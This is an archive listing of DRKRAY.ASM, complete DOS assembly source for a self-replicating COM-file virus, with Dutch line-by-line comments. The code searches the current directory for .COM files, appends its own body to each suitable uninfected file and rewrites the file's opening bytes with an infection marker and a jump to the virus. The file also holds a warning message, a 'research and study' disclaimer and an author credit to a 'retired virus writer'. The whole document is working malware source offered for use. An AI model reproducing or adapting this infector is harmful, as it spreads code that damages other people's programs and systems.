home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / DRKRAY.ASM < prev    next >
Assembly Source File  |  1995-05-23  |  8KB  |  147 lines
  1. ; Com-infector ...
  2.  
  3.         IDEAL                                           ; Informatie voor de
  4.         MODEL SMALL                                     ; assembler (TASM)
  5.         CODESEG                                         ; om een COM file
  6.         ORG     100h                                    ; te genereren.
  7.  
  8.         VX_LEN  EQU ((NEW_BYTES + 2) - VX)              ; Aantal bytes dat
  9.                                                         ; dit virus groot is.
  10. FIRST:
  11.         DB      0FBh                                    ; Markering dat deze
  12.                                                         ; file geinfecteerd
  13.                                                         ; is.
  14.         DB      0E9h                                    ; Een 3-bytes ge-
  15.         DW      00000h                                  ; infecteerde file.
  16.  
  17. VX:     CALL    RELATIVE                                ; Zet die offset van
  18. RELATIVE:                                               ; RELATIVE in BP,
  19.         POP     BP                                      ; trekt daar de positie
  20.         SUB     BP,OFFSET RELATIVE                      ; van RELATIVE af in
  21.                                                         ; de originele file
  22.                                                         ; (deze file),
  23.                                                         ; en zo kan de relative
  24.                                                         ; positie van de data
  25.                                                         ; in het geheugen
  26.                                                         ; bepaalt worden.
  27.         MOV     AH,009h                                 ; Laat waarschuwing
  28.         LEA     DX,[BP + MEDEDELING]                    ; zien.
  29.         INT     021h                                    ;
  30.         LEA     SI,[BP + OLD_BYTES]                     ; Plaatste de eerste 3
  31.         MOV     DI,0100h                                ; bytes van de ge-
  32.         CLD                                             ; infecteerde file
  33.         MOVSW                                           ; terug.
  34.         MOVSW                                           ;
  35.         MOV     AH,02Fh                                 ; Bewaar de pointer
  36.         INT     021h                                    ; naar het DTA blok.
  37.         MOV     [WORD PTR CS:BP + OLD_DTA    ],BX       ;
  38.         MOV     [WORD PTR CS:BP + OLD_DTA + 2],ES       ;
  39.         MOV     AH,01Ah                                 ; Zet die pointer naar
  40.         LEA     DX,[BP + NEW_DTA]                       ; het DTA blok van dit
  41.         INT     021h                                    ; virus.
  42.  
  43.         MOV     AH,04Eh                                 ; Zoek de eerste COM
  44.         MOV     CX,022h                                 ; file in deze
  45.         LEA     DX,[BP + FILE_NAME]                     ; directory.
  46.         JMP     FIND                                    ;
  47.  
  48. AGAIN:  MOV     AH,04Fh                                 ; Volgende COM file.
  49.  
  50. FIND:   INT     021h                                    ; Zoek, en als er
  51.         JC      EXIT                                    ; geen COM files meer
  52.                                                         ; in deze directory
  53.                                                         ; zijn, dan naar EXIT.
  54.         MOV     AX,03D02h                               ; Open de te infecteren
  55.         LEA     DX,[BP + NEW_DTA + 30]                  ; file, en plaats de
  56.         INT     021h                                    ; file handle in BX.
  57.         MOV     BX,AX                                   ;
  58.         MOV     AH,03Fh                                 ; Lees de eerste 4
  59.         MOV     CX,00004h                               ; bytes in.
  60.         LEA     DX,[BP + OLD_BYTES]                     ;
  61.         MOV     DI,DX                                   ;
  62.         INT     021h                                    ;
  63.  
  64.         CMP     [BYTE PTR DI],0FBh                      ; Is de eerste byte FB
  65.         JE      AGAIN                                   ; dan naar AGAIN.
  66.         MOV     AX,04202h                               ; Ga naar 't einde
  67.         XOR     CX,CX                                   ; van de file.
  68.         XOR     DX,DX                                   ;
  69.         INT     021h                                    ;
  70.  
  71.         OR      DX,DX                                   ; Als de file grote is
  72.         JNZ     AGAIN                                   ; dat een segment niet
  73.                                                         ; infecteren, want dan
  74.                                                         ; kan het geen COM
  75.                                                         ; file zijn.
  76.                                                         ; (Terug naar AGAIN)
  77.         CMP     AX,1024                                 ; Is de file kleiner
  78.         JB      AGAIN                                   ; dan 1024, dan naar
  79. NOT_2_SMALL:                                            ; AGAIN.
  80.  
  81.         CMP     AX,50000                                ; Ook groter dan 50000
  82.         JA      AGAIN                                   ; infecteren we niet.
  83.                                                         ; (dan terug naar AGAIN)
  84.         SUB     AX,00004h                               ; Bereken waar die jump
  85.         MOV     [WORD PTR CS:BP + NEW_BYTES + 2],AX     ; aan het begin van de
  86.                                                         ; geinfecteerde file
  87.                                                         ; heen moet springen.
  88.         MOV     AH,040h                                 ; Append 't virus
  89.         MOV     CX,VX_LEN                               ; aan de file.
  90.         LEA     DX,[BP + VX]                            ;
  91.         INT     021h                                    ;
  92.  
  93.         MOV     AX,04200h                               ; Ga naar 't begin van
  94.         XOR     CX,CX                                   ; de file.
  95.         XOR     DX,DX                                   ;
  96.         INT     021h                                    ;
  97.         MOV     AH,040h                                 ; Schrijf de markering
  98.         MOV     CX,00004h                               ; en de jump naar 't
  99.         LEA     DX,[BP + NEW_BYTES]                     ; virus aan 't begin
  100.         INT     021h                                    ; van de file.
  101.  
  102.         MOV     AH,03Eh                                 ; Sluit de file.
  103.         INT     021h                                    ;
  104.         JMP     AGAIN                                   ; Spring naar AGAIN.
  105.  
  106. EXIT:
  107.         PUSH    DS                                      ; Save DS.
  108.         MOV     DX,[WORD PTR CS:BP + OLD_DTA    ]
  109.         MOV     AX,[WORD PTR CS:BP + OLD_DTA + 2]
  110.         MOV     DS,AX
  111.         MOV     AH,01Ah
  112.         INT     021h
  113.         POP     DS                                      ; Restore DS.
  114.         MOV     SI,0100h                                ; Start de originele
  115.         JMP     SI                                      ; file op.
  116.  
  117. ; *** Data ***
  118.  
  119. Mededeling:
  120.  
  121. DB "This file contains a virus!!! Please COLD-boot from a write protected"
  122. DB 00Dh, 00Ah
  123. DB "system disk and use you anti virus software!!!$"
  124.  
  125. Disclaimer:
  126.  
  127. DB "Dit virus is ter RESEARCH en STUDIE geschreven!! "
  128. DB "Misbruik hiervan is strafbaar onder de Nederlandse wet!! "
  129.  
  130. Auteur:
  131.  
  132. DB "(C) 1994 - [DαRkRαY] retired virus writer..."
  133.  
  134. OLD_BYTES:      NOP
  135.                 NOP
  136.                 NOP
  137.                 RET
  138.  
  139. FILE_NAME:      DB      "*.COM",0h
  140.  
  141. NEW_BYTES       DB      0FBh, 0E9h, ?, ?
  142.  
  143. OLD_DTA         DW      ?, ?
  144. NEW_DTA         DW      34 DUP(?)
  145.  
  146.         END     FIRST
  147.